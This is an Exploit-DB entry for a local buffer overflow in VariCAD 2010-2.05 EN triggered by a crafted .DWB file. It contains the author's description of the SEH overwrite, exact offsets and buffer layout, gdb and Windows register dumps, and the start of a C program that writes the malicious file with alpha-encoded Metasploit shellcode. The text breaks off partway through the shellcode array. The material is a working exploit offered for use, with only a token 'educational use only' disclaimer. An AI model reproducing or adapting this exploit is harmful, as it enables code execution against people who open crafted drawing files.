Exploit-DB #11789
Description: VariCAD 2010-2.05 EN - Local Buffer Overflow
Type: local
Platform: multiple
Date: 2010-03-17
Author: n00b

Exploit:
/*
# Exploit Title: VariCAD 2010-2.05 EN Local buffer overflow :)
# Date: 15 March 2010 
# Author: n00b  Realname: *carl cope*
# Software Link: http://www.varicad.com/en/home/
# Version: All versions are affected.
# Tested on: Windows xp sp3,Vista sp2,Linux unbuntu
# CVE : [if exists] 

-----------------------------------------------------------
- 0day VariCAD 2010-2.05 EN .Dwb file Local buffer overflow -
-----------------------------------------------------------
-Description- 
VariCAD is prone to a memcpy() over flow in the  
parsing of 4 byte value that is loaded into the  
ebx register.!! 
 
VariCAD-Viewer is also vulnerable to this attack although 
exploitation is harder due to the Varicad viewer being compiled 
with exception handler protection.Although the VarCAD 2010-2.05 
Binary was not. 
 
First of all it was just another Read Av and after a wile of  
playing with different values i was able to over write the 
exception handlers.But the exception handlers was overwrote 
with a value i could not find :(.The value was not in the file 
at all.So i decided to fill the file with a load of random chars 
to find out where the exception handlers had triggered. I was still 
in no luck.Then i remembered awhile ago i had the same kind of issue 
with the lfs2 exploits.The problem is that the file i was using as a 
test was not big enough.The data was just not there to overwrite the 
exception handlers with user supplied data and eventually after 26k 
of characters was finally able to find the offsets i needed to exploit 
this vulnerability. 
 
The value that was loaded into the $EBX register was supplied by the 
offsets inside the file that was manipulated by user supplied data.
At this point i knew it would be exploitable.So if you change these 
4byte values (0x25,0x5c,0x1f,0x85)it wont work. 
 
to exploit the application open VariCAD 2010-2.05 EN  
then go to | File --> Open --> Then chose the malicious dwb file. 
-Description- 


-Note-
Just a side note this exploit is universal because the address of the 
instruction used resides in the exacutable.This has only one down fall 
you cant just double click the malicious .DWB file and execute our 
shell code that application must be running first.Although we can overcome 
this problem by using a different address and buffer but im running out of 
time on this exploit.So ill leave that up to your discretion.

Below is a description to getting this to execute via file extension or right 
click on file and edit with VariCAD.

----------------------------------------------------------------------------
 22856 bytes --> pointer to next seh --> SE handler --> nop --> shell code.
----------------------------------------------------------------------------
-Note-

-Linux-
The linux version is also exploitable this can be seen in the debug 
information provided below although our Value_$EBX is loaded into 
the $eax register.

(gdb) info reg
eax            0x851f5c25       [PII_REDACTED]
ecx            0x21476584       558327172
edx            0xbfbcb9ec       [PII_REDACTED]
ebx            0x41414141      [PII_REDACTED]
esp            0xbfbcbc10       0xbfbcbc10
ebp            0x41414141       0x41414141
esi            0x41414141      [PII_REDACTED]
edi            0x41414141      [PII_REDACTED]
eip            0x41414141       0x41414141

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xb71a7940 (LWP 11236)]
0xb75da52f in memcpy () from /lib/libc.so.6
(gdb) bt
#0  0xb75da52f in memcpy () from /lib/libc.so.6
#1  0x08ab2ab2 in ?? ()
#2  0x08ab5bfe in ?? ()
-Linux-

-Shouts and thanks-
Str0ke : Big thanks good work over the years:)
fl0 fl0w: Keep up the good work dood looking good.
aluigi: Nice guy has time for others.
marsu :Got me started with exploitation.
vade79 :Nice guy helped me a few times.

Offensive Security.
Nice job guys looking good and looking forward to
publishing more exploits on your site.

----------
Disclaimer
----------
The information in this advisory and any of its
demonstrations is provided "as is" without any
warranty of any kind.
 
I am not liable for any direct or indirect damages
caused as a result of using the information or
demonstrations provided in any part of this advisory.
Educational use only..!!

*/

#include <stdio.h>
#include <windows.h>
#define VariCAD "n00b.DWB"
 

/*
These are the first few bytes of the header
from DWB file :)
*/

unsigned char First_Header[] =

{
"\x34\x87\x01\x00\x00\x00\x00"
};


/*
Dont change these values these are set for a reason
 <TODO>
========================================================
- Windows debug information -
---------------------------
EAX 8F0D5C79
ECX 21479397
EDX 00000001
EBX 851F5C25 <---Here is our 4 byte value loaded into $EBX reg :)
ESP 0011F1F4
EBP 0011F1FC
ESI 09EF0E1C
EDI 00130000 ASCII "Actx "  <-- <write av>
EIP 0136E2EA varicad-.0136E2EA
=========================================================
*/

unsigned char Value_$EBX [] =
 
{
0x25, 0x5c, 0x1f, 0x85 
};


/* win32_exec -  EXITFUNC=seh CMD=calc Size=330
   Encoder=Alpha2 http://metasploit.com */
   
unsigned char Calc_Shell_Code []=
{
    "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x48"
    "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x65"
    "\x58\x50\x30\x42\x31\x42\x41\x6b\x41\x41\x75\x32\x41\x42\x41\x32"
    "\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x5a\x49\x4b\x4c\x4a"
    "\x48\x51\x54\x55\x50\x77\x70\x63\x30\x6c\x4b\x43\x75\x35\x6c\x4c"
    "\x4b\x41\x6c\x35\x55\x53\x48\x63\x31\x68\x6f\x4c\x4b\x70\x4f\x46"
    "\x78\x4e\x6b\x53\x6f\x75\x70\x36\x61\x6a\x4b\x53\x79\x4c\x4b\x55"
    "\x64\x4e\x6b\x74\x41\x68\x6e\x75\x61\x4b\x70\x4d\x49\x4c\x6c\x4c"
    "\x44\x6b\x70\x42\x54\x35\x57\x78\x41\x6b\x7a\x76\x6d\x63\x31\x58"
    "\x42\x68\x6b\x7a\x54\x77\x4b\x70\x54\x55\x74\